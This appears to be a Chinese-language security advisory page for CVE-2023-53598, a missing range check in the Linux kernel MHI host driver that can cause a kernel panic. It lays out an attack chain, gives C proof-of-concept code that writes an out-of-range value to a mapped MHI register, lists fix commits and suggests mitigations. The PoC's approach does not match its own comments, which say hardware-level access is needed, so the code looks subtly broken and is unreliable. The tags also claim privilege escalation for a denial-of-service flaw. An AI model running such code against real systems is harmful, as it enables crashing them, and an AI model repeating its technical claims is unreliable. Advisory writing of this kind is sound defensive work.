IPBUF安全漏洞报告
English
CVE-2023-53598 CVSS 5.5 中危

CVE-2023-53598 Linux内核MHI主机驱动寄存器范围检查缺失漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53598
漏洞类型
输入验证不当/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (bus: mhi: host 子系统)

相关标签

Linux KernelMHI拒绝服务内核崩溃输入验证范围检查本地提权驱动程序漏洞PCIe调制解调器

漏洞概述

CVE-2023-53598是Linux内核MHI(Modem Host Interface,主机接口)主机驱动中的一个安全漏洞。该漏洞源于内核在读取CHDBOFF(Channel Doorbell Offset)和ERDBOFF(Event Ring Doorbell Offset)寄存器时未执行范围检查。MHI是Linux内核中用于主机与调制解调器设备之间通信的接口协议,广泛应用于支持蜂窝通信的设备中。

当设备通过MHI接口返回的CHDBOFF和ERDBOFF寄存器值超出MHI寄存器空间的合法范围时,内核会基于这些无效值计算出非法的内存地址。随后对该非法地址的访问将导致内核崩溃(kernel panic),从而造成系统拒绝服务。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,无需用户交互。虽然机密性和完整性不受影响,但高可用性影响意味着系统可能出现完全不可用的情况。

该漏洞已于2025年10月4日公开披露,影响多个Linux内核稳定版本。Linux内核维护团队已通过添加范围检查逻辑修复了此问题,确保从设备读取的偏移值在合法范围内,防止因设备提供异常数据而导致内核崩溃。

技术细节

MHI(Modem Host Interface)是高通定义的用于主机处理器与调制解调器子系统通信的接口协议。在Linux内核的MHI主机驱动中,CHDBOFF和ERDBOFF是两个关键寄存器,分别用于存储通道门铃(Channel Doorbell)和事件环门铃(Event Ring Doorbell)的偏移地址。

漏洞的根本原因在于驱动代码在读取这两个寄存器的值后,直接将其用于计算内存地址,而未验证该值是否落在MHI寄存器空间的合法范围内。具体而言,攻击场景如下:

1. 攻击者通过本地权限访问连接到系统的MHI设备(通常通过PCIe等接口)。
2. 恶意或被篡改的MHI设备在CHDBOFF或ERDBOFF寄存器中返回超出预期的值。
3. 内核驱动使用该异常值计算doorbell的内存地址。
4. 计算出的地址可能指向无效的内存区域。
5. 当内核尝试访问该非法地址时,触发内核空指针引用或非法内存访问,导致kernel panic。

修复方案是在读取CHDBOFF和ERDBOFF寄存器值后,添加范围检查逻辑,确保偏移值在MHI寄存器空间的有效范围内。如果值超出范围,则拒绝使用该值并返回错误,防止后续的非法内存访问操作。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者需要获得目标系统的本地低权限访问权限,可以通过物理接触、已存在的低权限账户或其他漏洞实现。
STEP 2
步骤2:识别MHI设备
攻击者识别系统中的MHI设备接口,通常通过检查PCIe设备列表或/sys/bus/mhi/目录下的设备节点。
STEP 3
步骤3:注入恶意偏移值
攻击者通过恶意MHI设备或被篡改的固件,向CHDBOFF和ERDBOFF寄存器写入超出合法范围的值。
STEP 4
步骤4:触发内核处理
当MHI主机驱动读取这些寄存器值并用于计算内存地址时,会计算出非法的内存地址。
STEP 5
步骤5:内核崩溃
内核尝试访问非法计算出的内存地址,触发空指针引用或非法内存访问异常,导致kernel panic,系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2023-53598 PoC - Trigger kernel panic via invalid CHDBOFF/ERDBOFF values * * This PoC demonstrates how a malicious MHI device can trigger a kernel panic * by providing out-of-range values in CHDBOFF or ERDBOFF registers. * * Note: This requires hardware-level access to manipulate MHI device registers, * typically via a PCIe device emulating MHI functionality. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <stdint.h> // MHI register offsets (simplified) #define MHI_CHDBOFF 0x18 #define MHI_ERDBOFF 0x1C // Invalid/out-of-range value that triggers the vulnerability #define INVALID_OFFSET 0xFFFFFFFF int main(int argc, char *argv[]) { int fd; volatile uint32_t *regs; // Open MHI device (e.g., /dev/mhi_device or via sysfs) fd = open("/dev/mhi_qti", O_RDWR); if (fd < 0) { perror("Failed to open MHI device"); return 1; } // Map device registers into user space regs = (volatile uint32_t *)mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (regs == MAP_FAILED) { perror("mmap failed"); close(fd); return 1; } // Write invalid CHDBOFF value to trigger out-of-range access // On vulnerable kernels, this will cause kernel panic printf("Writing invalid CHDBOFF value: 0x%X\n", INVALID_OFFSET); regs[MHI_CHDBOFF / 4] = INVALID_OFFSET; // Trigger MHI host initialization which reads the bad offset // This will cause the kernel to compute an invalid address // and panic when accessing it sleep(1); printf("Kernel should have panicked if vulnerable\n"); munmap((void *)regs, 4096); close(fd); return 0; }

影响范围

Linux Kernel < 6.6 (修复提交: 2343385fe6eed11d0432ab42a97b3ca4aef06a99)
Linux Kernel stable 分支 (修复提交: 372f1752b74572b0a9d2288841eab7db17daccae)
Linux Kernel stable 分支 (修复提交: 4e584127ec2bd42a37c88badb49df409f21fa40a)
Linux Kernel stable 分支 (修复提交: 6a0c637bfee69a74c104468544d9f2a6579626d0)
Linux Kernel stable 分支 (修复提交: 83bf6b87e2dd053d95d89eb2f01ae885f9e568db)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议限制对MHI设备的本地物理访问权限,仅允许可信用户访问相关设备节点。可通过udev规则限制/dev/mhi_*设备的访问权限,或在系统BIOS中禁用不必要的MHI/PCIe设备。同时监控系统日志中与MHI相关的异常行为,及时发现潜在的攻击尝试。对于使用蜂窝调制解调器的设备,确保调制解调器固件来自可信来源并经过完整性验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表